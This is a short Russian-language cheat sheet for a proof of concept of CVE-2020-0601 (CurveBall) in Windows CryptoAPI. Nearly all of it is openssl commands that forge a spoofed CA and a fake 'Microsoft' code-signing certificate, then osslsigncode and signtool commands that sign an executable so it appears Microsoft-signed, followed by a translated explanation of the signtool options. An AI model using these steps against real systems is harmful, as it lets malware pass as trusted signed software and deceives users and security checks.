
PoC for CVE-2020-0601- Windows CryptoAPI (Crypt32.dll) POC: https://github.com/ollypwn/CurveBall
PoC для CVE-2020-0601 - Windows CryptoAPI (Crypt32.dll) POC: https://github.com/ollypwn/CurveBall
В Kali:
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
openssl ecparam -name secp384r1 -genkey -noout -out Microsoft.key
openssl req -new -key Microsoft.key -out Microsoft.csr -config openssl_cs.conf -reqexts v3_cs
openssl x509 -req -in Microsoft.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out Microsoft.crt -days 50000 -extfile openssl_cs.conf -extensions v3_cs
openssl pkcs12 -export -in Microsoft.crt -inkey Microsoft.key -certfile spoofed_ca.crt -name "Code Signing" -out Microsoft.p12
2. Подписать файл:
osslsigncode sign -pkcs12 Microsoft.p12 -n "Signed by DiDi" -pass 123 -in c1.exe -out c1_Microsoft_signed.exe

signtool sign /v /f Microsoft.p12 /tr http://timestamp.digicert.com /as /fd sha256 /p 123 c1.exe

*Опции глобальной команды signtool.exe: /v Отображать подробный вывод независимо от результата выполнения команды, а также предупреждения. Опции для команды sign: /f Указывает сертификат для подписи из файла. Если файл имеет формат PFX и защищен паролем, используйте опцию /p для указания пароля. Если файл не содержит закрытый ключ, используйте опции /csp и /kc для указания CSP и имени контейнера закрытого ключа. /tr Указывает URL сервера меток времени по RFC 3161. Если эта опция (или /t) отсутствует, подпись не будет иметь временной метки. Если операция с меткой времени не удалась, будет сгенерировано предупреждение. Эта опция не может использоваться вместе с /t. /as Добавляет эту подпись. Если основной подписи не существует, эта подпись становится основной. /fd Задает алгоритм дайджеста файла для создания подписи. Значение по умолчанию: SHA1. /p Задает пароль для открытия PFX-файла. (Используется с опцией /f для указания PFX-файла.)